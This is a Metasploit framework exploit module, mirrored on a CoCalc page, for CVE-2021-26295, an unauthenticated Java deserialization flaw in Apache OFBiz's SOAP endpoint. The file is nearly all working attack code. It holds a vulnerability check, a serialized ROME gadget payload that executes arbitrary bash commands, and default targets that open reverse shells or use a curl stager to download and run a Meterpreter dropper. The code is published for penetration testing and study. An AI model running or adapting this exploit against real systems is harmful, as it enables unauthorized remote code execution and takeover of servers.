CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_ofbiz_deserialization_soap.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
include Msf::Exploit::JavaDeserialization
14
15
XML_NS = {
16
'serResponse' => 'http://ofbiz.apache.org/service/',
17
'soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/'
18
}.freeze
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Apache OFBiz SOAP Java Deserialization',
25
'Description' => %q{
26
This module exploits a Java deserialization vulnerability in Apache
27
OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for
28
versions prior to 17.12.06.
29
},
30
'Author' => [
31
'yumusb', # original PoC
32
'Spencer McIntyre', # metasploit module
33
'wvu' # metasploit module
34
],
35
'References' => [
36
[ 'CVE', '2021-26295' ],
37
[ 'URL', 'https://github.com/yumusb/CVE-2021-26295-POC/blob/main/poc.py' ],
38
[ 'URL', 'https://issues.apache.org/jira/browse/OFBIZ-12167' ]
39
],
40
'DisclosureDate' => '2021-03-22', # NVD publish date
41
'License' => MSF_LICENSE,
42
'Platform' => ['unix', 'linux'],
43
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
44
'Privileged' => false,
45
'Targets' => [
46
[
47
'Unix Command',
48
{
49
'Platform' => 'unix',
50
'Arch' => ARCH_CMD,
51
'Type' => :unix_cmd,
52
'DefaultOptions' => {
53
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
54
}
55
}
56
],
57
[
58
'Linux Dropper',
59
{
60
'Platform' => 'linux',
61
'Arch' => [ARCH_X86, ARCH_X64],
62
'Type' => :linux_dropper,
63
'DefaultOptions' => {
64
'CMDSTAGER::FLAVOR' => :curl,
65
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
66
}
67
}
68
]
69
],
70
'DefaultTarget' => 1,
71
'DefaultOptions' => {
72
'SSL' => true
73
},
74
'Notes' => {
75
'Stability' => [CRASH_SAFE],
76
'Reliability' => [REPEATABLE_SESSION],
77
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
78
}
79
)
80
)
81
82
register_options([
83
Opt::RPORT(8443),
84
OptString.new('TARGETURI', [true, 'Base path', '/'])
85
])
86
end
87
88
def check
89
# Send an empty serialized object
90
res = send_request_soap('')
91
92
unless res
93
return CheckCode::Unknown('Target did not respond to check.')
94
end
95
96
messages = {}
97
res.get_xml_document.xpath('//soapenv:Envelope/soapenv:Body/serResponse:serResponse/serResponse:map-HashMap/serResponse:map-Entry', XML_NS).each do |entry|
98
key = entry.xpath('serResponse:map-Key/serResponse:std-String/@value', XML_NS).to_s
99
messages[key] = entry.xpath('serResponse:map-Value/serResponse:std-String/@value', XML_NS).to_s
100
end
101
102
if messages['errorMessage']&.start_with?('Problem deserializing object from byte array')
103
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
104
end
105
106
CheckCode::Safe('Target cannot deserialize arbitrary data.')
107
end
108
109
def exploit
110
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
111
112
case target['Type']
113
when :unix_cmd
114
execute_command(payload.encoded)
115
when :linux_dropper
116
execute_cmdstager
117
end
118
end
119
120
def execute_command(cmd, _opts = {})
121
vprint_status("Executing command: #{cmd}")
122
123
res = send_request_soap(
124
# framework/webapp/lib/rome-0.9.jar
125
generate_java_deserialization_for_command('ROME', 'bash', cmd)
126
)
127
128
unless res && res.code == 200
129
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
130
end
131
132
print_good("Successfully executed command: #{cmd}")
133
end
134
135
def send_request_soap(data)
136
send_request_cgi(
137
'method' => 'POST',
138
'uri' => normalize_uri(target_uri.path, '/webtools/control/SOAPService'),
139
'ctype' => 'text/xml',
140
'data' => <<~XML
141
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
142
<soapenv:Header/>
143
<soapenv:Body>
144
<ser>
145
<map-HashMap>
146
<map-Entry>
147
<map-Key>
148
<cus-obj>#{Rex::Text.to_hex(data, '')}</cus-obj>
149
</map-Key>
150
<map-Value>
151
<std-String value="http://#{Faker::Internet.domain_name}"/>
152
</map-Value>
153
</map-Entry>
154
</map-HashMap>
155
</ser>
156
</soapenv:Body>
157
</soapenv:Envelope>
158
XML
159
)
160
end
161
162
end
163
164